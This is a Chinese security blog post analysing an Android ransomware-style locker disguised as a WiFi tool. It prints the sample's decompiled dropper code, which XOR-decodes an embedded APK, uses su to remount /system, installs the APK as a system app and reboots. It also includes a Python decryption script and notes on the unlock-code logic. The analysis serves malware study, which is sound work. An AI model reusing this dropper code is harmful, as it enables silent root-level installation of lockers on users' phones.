记一次安卓锁机样本分析

admin 2023年5月15日09:40:13评论36 views字数 5231阅读17分26秒阅读模式


安卓锁机样本分析


Date: Aug 09, 2019

样本信息


  1. 文件名 : wifikillpro.apk

  2. MD5 (wifikillpro.apk) = 93e0fd47ca01f290fb325431ccce159b

  3. 分析时间 : 2019-08-09 15:23:07


样本来源 :

今天下午被一个锁机软件坑了一下午!(https://www.52pojie.cn/thread-730333-1-1.html)

样本静态分析



首先打开样本能看到是个看似正常的程序

记一次安卓锁机样本分析

能够看到,程序的主activity为pixelitc.network.activities.SplashActivity,接下来我们需要分析的就是这里。

记一次安卓锁机样本分析

在分析的时候能看到onCreate函数中基本正常,而且上面的函数也都差不多,但是其实有一行是有问题的

别问我怎么知道那个地方有问题的,我先看到的一些危险操作然后交叉引用发现的这里有问题。

具体问题在于有一行 cia_nuo.chunuo(this)这一行调用的函数里面有很多危险操作

  1. package CIA.Chu.p000Nu.p001O;


  2. import android.content.Context;

  3. import android.os.Build;

  4. import android.os.Environment;

  5. import android.os.Process;

  6. import java.io.DataOutputStream;

  7. import java.io.File;

  8. import java.io.FileInputStream;

  9. import java.io.FileOutputStream;

  10. import java.io.IOException;

  11. import java.io.InputStream;

  12. import java.io.OutputStream;


  13. /* renamed from: CIA.Chu.Nu.O.cia_nuo */

  14. public class cia_nuo {

  15. private static int dataOfFile = 0;

  16. private static final int numOfEncAndDec = 102;

  17. private static String path = cia_nuo.m4g();

  18. int iii;


  19. public cia_nuo() {

  20. }


  21. public static void EncFile(File file, File file2) throws Exception {

  22. boolean createNewFile;

  23. File file3 = file;

  24. File file4 = file2;

  25. if (!file4.exists()) {

  26. createNewFile = file4.createNewFile();

  27. }

  28. InputStream inputStream = r10;

  29. InputStream fileInputStream = new FileInputStream(file3);

  30. InputStream inputStream2 = inputStream;

  31. OutputStream outputStream = r10;

  32. OutputStream fileOutputStream = new FileOutputStream(file4);

  33. OutputStream outputStream2 = outputStream;

  34. while (true) {

  35. int read = inputStream2.read();

  36. dataOfFile = read;

  37. if (read <= -1) {

  38. inputStream2.close();

  39. outputStream2.flush();

  40. outputStream2.close();

  41. createNewFile = file3.delete();

  42. return;

  43. }

  44. outputStream2.write(dataOfFile ^ 358);

  45. }

  46. }


  47. /* renamed from: a */

  48. public static void m3a(String str, Context context) throws IOException {

  49. Context context2 = context;

  50. OutputStream outputStream = r12;

  51. OutputStream fileOutputStream = new FileOutputStream(str);

  52. OutputStream outputStream2 = outputStream;

  53. InputStream open = context2.getAssets().open("date.jar");

  54. byte[] bArr = new byte[1024];

  55. int read = open.read(bArr);

  56. while (true) {

  57. int i = read;

  58. if (i <= 0) {

  59. outputStream2.flush();

  60. open.close();

  61. outputStream2.close();

  62. return;

  63. }

  64. outputStream2.write(bArr, 0, i);

  65. read = open.read(bArr);

  66. }

  67. }


  68. public static void act_file(Context context, int i) {

  69. Context context2 = context;

  70. int i2 = i;

  71. try {

  72. boolean deleteFile;

  73. File file;

  74. File file2;

  75. Process exec = Runtime.getRuntime().exec("su");

  76. DataOutputStream dataOutputStream = r11;

  77. DataOutputStream dataOutputStream2 = new DataOutputStream(exec.getOutputStream());

  78. DataOutputStream dataOutputStream3 = dataOutputStream;

  79. try {

  80. StringBuffer stringBuffer = r11;

  81. StringBuffer stringBuffer2 = new StringBuffer();

  82. deleteFile = cia_chu.deleteFile(stringBuffer.append(path).append("/date.html").toString());

  83. cia_nuo.m3a("sdcard/date.jar", context2);

  84. file = r11;

  85. file2 = new File("/mnt/sdcard/date.jar");

  86. file2 = r11;

  87. File file3 = new File("/mnt/sdcard/date.html");

  88. cia_nuo.EncFile(file, file2);

  89. } catch (Exception e) {

  90. Exception exception = e;

  91. }

  92. dataOutputStream3.writeBytes("mount -o rw,remount /n");

  93. dataOutputStream3.writeBytes("mount -o rw,remount /systemn");

  94. dataOutputStream3.writeBytes("mount -o rw,remount /system/appn");

  95. dataOutputStream3.writeBytes("cp /sdcard/date.html /system/app/n");

  96. dataOutputStream3.writeBytes("rm /sdcard/date.htmln");

  97. dataOutputStream3.writeBytes("chmod 777 /system/app/date.htmln");

  98. dataOutputStream3.writeBytes("mv /system/app/date.html /system/app/cia.apkn");

  99. dataOutputStream3.writeBytes("chmod 644 /system/app/cia.apkn");

  100. dataOutputStream3.writeBytes("reboot");

  101. dataOutputStream3.flush();

  102. try {

  103. i2 = exec.waitFor();

  104. } catch (InterruptedException e2) {

  105. InterruptedException interruptedException = e2;

  106. }

  107. if (i2 != 0) {

  108. file = r11;

  109. file2 = new File("sdcard/date.html");

  110. File file4 = file;

  111. if (file4.exists()) {

  112. deleteFile = file4.delete();

  113. }

  114. }

  115. } catch (IOException e3) {

  116. IOException iOException = e3;

  117. }

  118. }


  119. public static void chunuo(Context context) {

  120. Context context2 = context;

  121. if (Build.SERIAL.equals("unknown")) {

  122. Process.killProcess(Process.myPid());

  123. return;

  124. }

  125. try {

  126. cia_nuo.act_file(context2, 1);

  127. } catch (Exception e) {

  128. Exception exception = e;

  129. }

  130. }


  131. /* renamed from: g */

  132. public static String m4g() {

  133. String str = (String) null;

  134. if (Environment.getExternalStorageState().equals("mounted")) {

  135. str = Environment.getExternalStorageDirectory().getAbsolutePath();

  136. }

  137. return str;

  138. }

  139. }

这是程序代码,调用的是 chunuo这个函数传入了this,也就是context

这是这个函数用到的一些东西

记一次安卓锁机样本分析

之后回调用函数 cia_nuo.act_file(context2,1)我们就去分析这个函数好了,这里的context2依然是之前的context

在函数里回先使用path那么,path来自于 cia_nuo.m4g(),这个函数会去取到内置SD卡绝对路径然后返回给path

记一次安卓锁机样本分析

记一次安卓锁机样本分析

然后调用cia_chu.deleteFile去删除某个文件,并且返回删除是否成功,函数内容如下图

记一次安卓锁机样本分析

之后调用cia_nuo.m3a传入一个相对路径

记一次安卓锁机样本分析

记一次安卓锁机样本分析

在这里,能看到他会去Assets文件夹找到data.jar文件,然后创建一个byte数组并且读取数据,就是将data.jar转移了一个文件夹

记一次安卓锁机样本分析

之后调用了cia_nuo.EncFile,这个函数用于将刚刚的data.jar解密

为啥是EncFile,却是解密操作,这别问我,问傻逼作者去;还有就是他的try...catch的位置,意思就是要是出错,这个毒就不运行了。都不想换个姿势搞搞的吗

写一个脚本,解密出来发现开头是PK,但是内容是apk结构,说明是解密出来一个新的apk

  1. data = ''

  2. with open("date.jar", "rb") as f:

  3. data += f.read()

  4. xor_358 = lambda x : chr(ord(x) ^ (358 & 0xff))

  5. new_data = ''.join(map(xor_358, list(data)))

  6. with open('cia.apk', 'wb') as f:

  7. f.write(new_data)

新的文件结构如下图

记一次安卓锁机样本分析

接下来是执行命令,全都是su权限执行的

记一次安卓锁机样本分析

大致内容就是

  • 以读写权限挂载几个文件系统

  • 复制解密出来的 data.html到 /system/app/目录下面

  • 删除原来的 data.html

  • 将 /system/app/data.html改名为 cia.apk

  • 重启,然后 cia.apk就会运行

到此为止我们就应该要去分析下一个apk了


释放的apk包名为

记一次安卓锁机样本分析

如下图所示,知道了MainActivity

记一次安卓锁机样本分析

网上的示例

记一次安卓锁机样本分析

说明注册了个服务用于监听事件

记一次安卓锁机样本分析

进入com.chunuo.l.chunuo查看,能看到这样的东西,主要是使用了AES/ECB/AES/ECB/PKCS5Padding,并且是AES-256,密钥长度为32字节,他给的密钥按照他的规则在不满足位数的末尾添加 0直到32位然后作为密钥传入。

签名三个decrypt解密了3个字符串,然后最后生成了 cn10,这个cn10在onClick事件里面

记一次安卓锁机样本分析

能看到有个removeView应该就是验证成功code之后关闭界面吧

这里没有实测,电脑模拟器都卸载了,没打算安装,纯静态分析文章,大佬轻虐,同时他的 cn10用到了很多的单表代换和hash算法,可以显示出作者的傻吊气质。

三叶草小组公众号

微信号 : 三叶草小组Syclover

新浪微博:@三叶草小组Syclover

记一次安卓锁机样本分析



原文始发于微信公众号(三叶草小组Syclover):记一次安卓锁机样本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日09:40:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次安卓锁机样本分析http://cn-sec.com/archives/948355.html

发表评论

匿名网友 填写信息